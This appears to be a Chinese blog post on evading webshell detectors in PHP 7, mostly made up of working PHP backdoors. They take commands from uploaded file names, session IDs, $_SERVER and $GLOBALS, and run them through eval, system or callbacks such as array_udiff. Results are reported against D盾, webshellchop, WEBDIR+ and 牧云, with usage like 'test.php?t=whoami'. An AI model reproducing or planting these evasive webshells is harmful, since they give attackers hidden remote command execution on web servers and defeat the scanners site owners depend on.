webshell免杀—PHP篇

前言

本文所作测试均基于PHP7

正文

<?php
    eval($_POST[1]);
?>

上面是一个最常见的webshell,但是随着各种检测技术的出现,普通的webshell已经没有了生存空间,这里就来结合前人的路探索一下怎么实现webshell的免杀

查杀工具

  • D盾
  • webshellchop
  • WEBDIR+

对于webshell,我们要解决两个关键问题

  • 传递指令
  • 执行指令

传递指令

传递指令也就是将想要执行的代码或者命令传递给shell脚本,常见的webshell都是通过 GET POST 的方式来进行指令的传递。

因为常见,所以很多检测技术也就对应的进行了严格的检测,所以我们想要免杀,就要摈弃这种常见的指令传递方式。

除了 GET POST 之外,php还有许多可以用来传递指令的方法

  • $_COOKIE
  • $_REQUEST
  • $_SERVER(某些参数可控,如 QUERYSTRING)
  • $GLOBALS
  • $_FILE
  • getallheaders()
  • getdefinedvars()
  • session_id()

执行指令

  • eval&&assert

    我们最常使用的执行指令的方式就是用 evalassert ,不过在php7中 assert 也成为了一个语法结构,不能通过动态调用的方式进行调用了,这也让免杀的难度更上一层。

    不过,当 evalassert 与上面不常见的指令传递方式结合起来,就会起到意想不到的效果

    • $_FILES’file’

      <?php
          @eval(urldecode($_FILES['file']['name']));

      这里是通过上传文件名获取指令,因为指令中特殊符号会导致一些错误,所以这里要先将指令url编码,再在脚本中解码一下

      使用效果

      Untitled

      免杀效果

      • D盾

      Untitled

      • webshellchop

      Untitled

      • webdir+

      Untitled

      
      可以看到只有webdir+检测出了后门,D盾等级只有1,webshellchop就没检查出来
      
    • session_id()

      <?php
          $a="sess"."ion_start";
          @eval(hex2bin(session_id($a())));

      直接使用 session_start 的马应该是被很多检测机构记录进了特征库,所以这里使用动态调用,因为session中只允许出现 a-zA-Z0-9 ,所以用 hex2bin 进行解码,然后将指令hex编码后发送

      使用效果

      Untitled

      免杀效果

      • D盾

      Untitled

      • webshellchop

      Untitled

      • webdir+

      Untitled

      全部过检测,不过D盾还是有1级,我们再优化一下。

      这里是用函数名动态调用 session_start ,这里我们尝试用回调,不过直接用 call_user_func 反而会使警告等级提升,所以尝试不常用的回调函数

      array_filter()
      
      array_walk()
      
      array_map()
      
      registregister_shutdown_function()
      
      register_tick_function()
      
      filter_var()
      
      filter_var_array()
      
      uasort()
      
      uksort()
      
      array_reduce()
      
      array_walk()
      
      array_walk_recursive()

      这里我们选择 array_map 进行回调

      <?php
          @eval(hex2bin(session_id(implode(array_map("session_start",[[""]])))));

      构造出如上shell,使用效果与上面相同,看一下免杀效果

      • D盾

      Untitled

      • webshellchop

      Untitled

      • webdir+

      Untitled

  • system&&exec

    除了eval这些执行php代码的语法结构,我们还可以直接使用system这种直接执行系统命令的函数

    就如上面的shell,我们直接将 eval 替换为 system 也是可以绕过检测的

    <?php
        @system(hex2bin(session_id(implode(array_map("session_start",[[""]])))));

    Untitled

    我还想到了一种利用 $_SERVER 结合正则传入函数名和参数的方法

    <?php
        foreach ($_SERVER as $key => $value){
            if(preg_match("/ERY_S/i",$key)){
                $a=explode("=",$value);
                array_udiff([$a[1]],[$a[1]],$a[0]);
            }
        }

    使用效果

    Untitled

    这样也可以绕过大部分检测

牧云webshell检测引擎绕过

y1s1,这个检测确实强,试了好久才试出一种绕过方法,先看代码

<?php
error_reporting(0);

function test($a){
    array_udiff([$a[1]],[$a[1]],$a[0]);
}
test(unserialize(implode(pos($GLOBALS))));

原理就是pos函数结合$GLOBALS变量获取GET参数的键值数组,然后用implode函数获取到参数值,再反序列化这个值获取到存储了函数名和参数的数组,通过array_udiff进行回调实现命令执行。

使用的话我们可以先序列化一个 [”system”,”whoami”],然后直接通过get方式传递过去即可命令执行

Untitled

接着又想出了一种方法,先看代码

<?php

function uyutem(){
    throw new Exception(implode(pos($GLOBALS)));
}


try{
    uyutem();
}catch(Exception $e){
    array_udiff([$e->getMessage()],[$e->getMessage()],str_replace('u','s',$e->getTrace()[0]['function']));
}

定义一个uyutem函数,在其中利用pos函数结合$GLOBALS变量获取GET参数的键值数组,然后再用implode获取到参数值字符串,在该字符串作为异常抛出。然后调用该函数,接着在catch块中,获取到message属性(即传入的参数),再从trace属性中获取到函数名,接着将函数名中的u替换为s,就成了system,然后使用array_udiff进行回调。

使用方式

test.php?t=whoami

本文链接:

http://124.223.185.138/index.php/archives/9.html
1 + 6 =
快来做第一个评论的人吧~